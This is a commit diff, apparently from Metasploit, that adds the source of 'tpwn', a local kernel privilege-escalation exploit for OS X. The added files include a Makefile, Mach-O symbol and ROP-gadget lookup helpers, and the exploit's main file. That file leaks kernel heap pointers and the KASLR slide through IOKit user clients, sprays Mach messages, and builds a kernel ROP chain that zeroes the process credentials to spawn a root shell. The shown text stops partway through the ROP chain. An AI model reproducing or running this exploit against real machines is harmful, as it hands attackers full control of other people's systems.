Land #5860, add tpwn OS X local kernel exploit (https://github.com/kpwn/tpwn)
commit
6b94513a37
|
@ -0,0 +1,3 @@
|
|||
all:
|
||||
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
|
||||
strip tpwn
|
|
@ -0,0 +1,34 @@
|
|||
#ifndef pwn_import_h
|
||||
#define pwn_import_h
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_vm.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <dlfcn.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach_types.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <sys/types.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
#include "lsym.h"
|
||||
#include "lsym_gadgets.h"
|
||||
|
||||
#endif
|
|
@ -0,0 +1,47 @@
|
|||
#ifndef __pwn__lsym__
|
||||
#define __pwn__lsym__
|
||||
|
||||
#include <stdio.h>
|
||||
#include "import.h"
|
||||
|
||||
#define JUNK_VALUE 0x1337133713371337
|
||||
|
||||
|
||||
typedef struct kernel_fake_stack {
|
||||
uint64_t __cnt;
|
||||
uint64_t __padding[0x4999];
|
||||
uint64_t __rop_chain[0x5000];
|
||||
} kernel_fake_stack_t;
|
||||
|
||||
#define LSYM_PAYLOAD_VTABLE 1
|
||||
|
||||
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
|
||||
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
|
||||
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
|
||||
|
||||
typedef struct lsym_map {
|
||||
void* map;
|
||||
const char* path;
|
||||
size_t sz;
|
||||
} lsym_map_t;
|
||||
|
||||
typedef enum {
|
||||
LSYM_DO_NOT_REBASE = (1 << 0)
|
||||
} lsym_gadget_flags;
|
||||
|
||||
typedef uint64_t lsym_map_pointer_t;
|
||||
typedef uint64_t lsym_kern_pointer_t;
|
||||
typedef uint64_t lsym_slidden_kern_pointer_t;
|
||||
typedef uint64_t lsym_offset_t;
|
||||
|
||||
lsym_kern_pointer_t kext_pointer(const char* identifier);
|
||||
lsym_map_t *lsym_map_file(const char *path);
|
||||
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name);
|
||||
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);
|
||||
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping);
|
||||
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);
|
||||
lsym_offset_t lsym_vm_addrperm();
|
||||
|
||||
typedef struct kernel_exploit_vector kernel_exploit_vector_t;
|
||||
|
||||
#endif /* defined(__pwn__lsym__) */
|
|
@ -0,0 +1,159 @@
|
|||
#include "lsym.h"
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
|
||||
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
|
||||
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
|
||||
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
|
||||
|
||||
|
||||
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
|
||||
#ifdef FIND_KERNEL_SLIDE
|
||||
static lsym_offset_t kaslr_slide=0;
|
||||
static char kaslr_slide_found =0;
|
||||
#endif
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t kext_pointer(const char* identifier){
|
||||
return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue];
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_map_t *lsym_map_file(const char *path) {
|
||||
int fd=open(path, O_RDONLY);
|
||||
if(fd < 0) return 0;
|
||||
struct stat sb;
|
||||
fstat(fd, &sb);
|
||||
if (sb.st_size < 0x1000) {
|
||||
return 0;
|
||||
}
|
||||
void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);
|
||||
lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));
|
||||
ret->map = map;
|
||||
ret->path = path;
|
||||
ret->sz = sb.st_size & 0xFFFFFFFF;
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {
|
||||
lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);
|
||||
if (!off) {
|
||||
puts("[-] Couldn't find a ROP gadget, aborting.");
|
||||
exit(1);
|
||||
}
|
||||
return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {
|
||||
struct mach_header_64 *mh = mapping->map;
|
||||
struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);
|
||||
return (lsym_kern_pointer_t)text->vmaddr;
|
||||
}
|
||||
__attribute__((always_inline))
|
||||
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {
|
||||
struct mach_header_64 *mh = mapping->map;
|
||||
struct symtab_command *symtab = NULL;
|
||||
struct segment_command_64 *linkedit = NULL;
|
||||
/*
|
||||
* Check header
|
||||
*/
|
||||
if (mh->magic != MH_MAGIC_64) {
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Find the LINKEDIT and SYMTAB sections
|
||||
*/
|
||||
linkedit = find_segment_64(mh, SEG_LINKEDIT);
|
||||
if (!linkedit) {
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
}
|
||||
|
||||
symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);
|
||||
if (!symtab) {
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
}
|
||||
void* symtabp = symtab->stroff + 4 + (char*)mh;
|
||||
void* symtabz = symtab->stroff + (char*)mh;
|
||||
void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;
|
||||
uint32_t idx = 0;
|
||||
while (symtabp < symendp) {
|
||||
if(strcmp(symtabp, name) == 0) goto found;
|
||||
symtabp += strlen((char*)symtabp) + 1;
|
||||
idx++;
|
||||
}
|
||||
printf("[-] symbol %s not resolved.\n", name); exit(0);
|
||||
return (lsym_kern_pointer_t)NULL;
|
||||
found:;
|
||||
struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);
|
||||
uint64_t strx = ((char*)symtabp - (char*)symtabz);
|
||||
unsigned int symp = 0;
|
||||
while(symp <= (symtab->nsyms)) {
|
||||
uint32_t strix = *((uint32_t*)nlp);
|
||||
if(strix == strx)
|
||||
goto found1;
|
||||
nlp ++; //sizeof(struct nlist_64);
|
||||
symp++;
|
||||
}
|
||||
printf("[-] symbol not found: %s\n", name);
|
||||
exit(-1);
|
||||
found1:
|
||||
//printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value);
|
||||
return (lsym_kern_pointer_t)nlp->n_value;
|
||||
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)
|
||||
{
|
||||
struct load_command *lc;
|
||||
struct segment_command_64 *s, *fs = NULL;
|
||||
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
|
||||
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
|
||||
if (lc->cmd == LC_SEGMENT_64) {
|
||||
s = (struct segment_command_64 *)lc;
|
||||
if (!strcmp(s->segname, segname)) {
|
||||
fs = s;
|
||||
break;
|
||||
}
|
||||
}
|
||||
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
|
||||
}
|
||||
return fs;
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)
|
||||
{
|
||||
struct section_64 *sect, *fs = NULL;
|
||||
uint32_t i = 0;
|
||||
for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));
|
||||
i < seg->nsects;
|
||||
i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))
|
||||
{
|
||||
if (!strcmp(sect->sectname, name)) {
|
||||
fs = sect;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return fs;
|
||||
}
|
||||
|
||||
__attribute__((always_inline))
|
||||
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)
|
||||
{
|
||||
struct load_command *lc, *flc;
|
||||
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
|
||||
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
|
||||
if (lc->cmd == cmd) {
|
||||
flc = (struct load_command *)lc;
|
||||
break;
|
||||
}
|
||||
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
|
||||
}
|
||||
return flc;
|
||||
}
|
|
@ -0,0 +1,69 @@
|
|||
#ifndef ROP_PIVOT_RAX
|
||||
/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */
|
||||
|
||||
#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))
|
||||
|
||||
/* ROP gadgets present in 10.10 */
|
||||
|
||||
// stack pivot
|
||||
#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)
|
||||
#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)
|
||||
#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)
|
||||
#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)
|
||||
|
||||
#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)
|
||||
#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)
|
||||
#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)
|
||||
|
||||
// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).
|
||||
// how the fuck do these gadgets even exist lmao
|
||||
|
||||
#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);
|
||||
#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);
|
||||
#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.
|
||||
#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);
|
||||
#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)
|
||||
#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)
|
||||
#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)
|
||||
#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)
|
||||
#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)
|
||||
#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)
|
||||
#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)
|
||||
#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)
|
||||
#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)
|
||||
#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)
|
||||
#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)
|
||||
#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)
|
||||
// register control
|
||||
#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)
|
||||
#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)
|
||||
#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)
|
||||
#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)
|
||||
#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)
|
||||
#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)
|
||||
#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)
|
||||
|
||||
// write gadgets
|
||||
#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)
|
||||
#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)
|
||||
|
||||
// read gadget
|
||||
#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)
|
||||
|
||||
|
||||
// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.
|
||||
|
||||
#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);
|
||||
|
||||
// helpers
|
||||
|
||||
#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]
|
||||
#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;
|
||||
#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;
|
||||
#endif
|
|
@ -0,0 +1,286 @@
|
|||
#include <Foundation/Foundation.h>
|
||||
static uint64_t kslide=0;
|
||||
#define ALLOCS 0x100
|
||||
#import "import.h"
|
||||
#import "lsym_gadgets.h"
|
||||
static mach_port_t servicea = 0;
|
||||
static mach_port_t servicex = 0;
|
||||
__attribute__((always_inline)) inline
|
||||
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
|
||||
if (!pointer) return pointer;
|
||||
return (lsym_slidden_kern_pointer_t) pointer + kslide;
|
||||
}
|
||||
|
||||
__attribute__((always_inline)) static inline
|
||||
uint64_t alloc(uint32_t addr, uint32_t sz) {
|
||||
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
|
||||
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
|
||||
while(sz--) *(char*)(addr+sz)=0;
|
||||
return addr;
|
||||
}
|
||||
__attribute__((always_inline)) static inline
|
||||
uint64_t leak_heap_ptr(io_connect_t* co) {
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
|
||||
puts("failed");
|
||||
exit(-20);
|
||||
}
|
||||
uint64_t scalarO_64=0;
|
||||
uint32_t outputCount = 1;
|
||||
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
|
||||
if (!scalarO_64) {
|
||||
puts("failed infoleaking");
|
||||
exit(-20);
|
||||
}
|
||||
scalarO_64 <<= 8;
|
||||
scalarO_64 |= 0xffffff0000000000;
|
||||
return scalarO_64;
|
||||
}
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_descriptor_t desc;
|
||||
mach_msg_trailer_t trailer;
|
||||
} oolmsg_t;
|
||||
static uint16_t off_w = 0;
|
||||
__attribute__((always_inline)) static inline
|
||||
void or_everywhere(uint64_t add) {
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
|
||||
IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
|
||||
alloc(0, 0x1000);
|
||||
volatile uint64_t* mp = (uint64_t*) 0;
|
||||
if(!off_w) {
|
||||
while ((uint32_t)mp < 0xC00) {
|
||||
*mp=(uint64_t)0xC00;
|
||||
mp++;
|
||||
}
|
||||
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
|
||||
IOServiceClose(conn);
|
||||
char* kp=(char*)0xC00;
|
||||
while ((uint32_t)kp < 0x1000) {
|
||||
if (*kp == 0x10) {
|
||||
break;
|
||||
}
|
||||
kp++;
|
||||
}
|
||||
if ((uint32_t)kp == 0x1000) {
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
puts("not vulnerable");
|
||||
exit(-1);
|
||||
}
|
||||
mp=0;
|
||||
while ((uint32_t)mp < 0xC00) {
|
||||
*mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00);
|
||||
mp++;
|
||||
}
|
||||
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
|
||||
IOServiceClose(conn);
|
||||
if (*((char*)0xC00)!=0x10) {
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
puts("wrong offset");
|
||||
exit(-2);
|
||||
}
|
||||
off_w = (uint16_t) kp - 0xc00;
|
||||
}
|
||||
mp=0;
|
||||
while ((uint32_t)mp < 0xC00) {
|
||||
*mp=(uint64_t)(add - off_w);
|
||||
mp++;
|
||||
}
|
||||
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
|
||||
vm_deallocate(mach_task_self(), 0, 0x1000);
|
||||
IOServiceClose(conn);
|
||||
}
|
||||
__attribute__((always_inline)) static inline
|
||||
void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) {
|
||||
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
|
||||
if(!*msgp){
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp);
|
||||
mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND);
|
||||
}
|
||||
bzero(msg,sizeof(oolmsg_t));
|
||||
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
|
||||
msg->header.msgh_remote_port = *msgp;
|
||||
msg->header.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->header.msgh_size = sizeof(oolmsg_t);
|
||||
msg->header.msgh_id = 1;
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
msg->desc.address = (void *)vz;
|
||||
msg->desc.size = svz;
|
||||
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
|
||||
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
|
||||
free(msg);
|
||||
}
|
||||
__attribute__((always_inline)) static inline
|
||||
char* read_kern_data(mach_port_t port) {
|
||||
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
|
||||
bzero(msg,sizeof(oolmsg_t)+0x2000);
|
||||
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
|
||||
return msg->desc.address;
|
||||
}
|
||||
int main(int argc, char** argv, char** envp){
|
||||
if (getuid() == 0) {
|
||||
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
|
||||
exit(0);
|
||||
}
|
||||
if((int)main < 0x5000) execve(argv[0],argv,envp);
|
||||
lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel");
|
||||
if (!mapping_kernel || !mapping_kernel->map) {
|
||||
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
|
||||
}
|
||||
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
|
||||
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
|
||||
sync();
|
||||
kern_return_t err;
|
||||
io_iterator_t iterator;
|
||||
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
|
||||
servicex = IOIteratorNext(iterator);
|
||||
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
|
||||
servicea = IOIteratorNext(iterator);
|
||||
uint64_t c = 0;
|
||||
or_everywhere((uint64_t)&c);
|
||||
if (c != 0x10) {
|
||||
puts("not vulnerable");
|
||||
return 2;
|
||||
}
|
||||
int ctr=0;
|
||||
#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++)
|
||||
struct KernelHeapInfo {
|
||||
io_connect_t connect;
|
||||
uint64_t kobject;
|
||||
mach_port_t port;
|
||||
} *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS);
|
||||
char* vz = calloc(1500,1);
|
||||
|
||||
again:;
|
||||
int maxt = 10;
|
||||
while (maxt--) {
|
||||
if (heap_info[maxt+2].connect) {
|
||||
IOServiceClose(heap_info[maxt+2].connect);
|
||||
heap_info[maxt+2].connect=0;
|
||||
}
|
||||
}
|
||||
maxt = 10;
|
||||
while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; };
|
||||
while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) {
|
||||
if (heap_info[1].kobject == 1024+heap_info[0].kobject) {
|
||||
break;
|
||||
}
|
||||
if (maxt == 0) {
|
||||
goto again;
|
||||
}
|
||||
maxt--;
|
||||
heap_info[maxt+2].connect=heap_info[1].connect;
|
||||
heap_info[1].connect=0;
|
||||
};
|
||||
|
||||
if (!heap_info[1].connect || !heap_info[0].connect) {
|
||||
exit(-3);
|
||||
}
|
||||
|
||||
IOServiceClose(heap_info[0].connect); // poke hole
|
||||
|
||||
DO_TIMES(ALLOCS) {
|
||||
send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port));
|
||||
}
|
||||
|
||||
or_everywhere(heap_info[0].kobject + 16);
|
||||
or_everywhere(heap_info[0].kobject + 500);
|
||||
|
||||
char found = 0;
|
||||
DO_TIMES(ALLOCS) {
|
||||
char* data = read_kern_data(heap_info[ctr].port);
|
||||
if (!found && memcmp(data,vz,1024 - 0x58)) {
|
||||
kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ;
|
||||
found=1;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
exit(-3);
|
||||
}
|
||||
|
||||
printf("leaked kaslr slide, @ 0x%016llx\n", kslide);
|
||||
|
||||
kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t));
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1)
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
|
||||
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
|
||||
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid())
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
|
||||
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0);
|
||||
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1);
|
||||
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
|
||||
|
||||
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
|
||||
PUSH_GADGET(stack) = heap_info[1].kobject+0x210;
|
||||
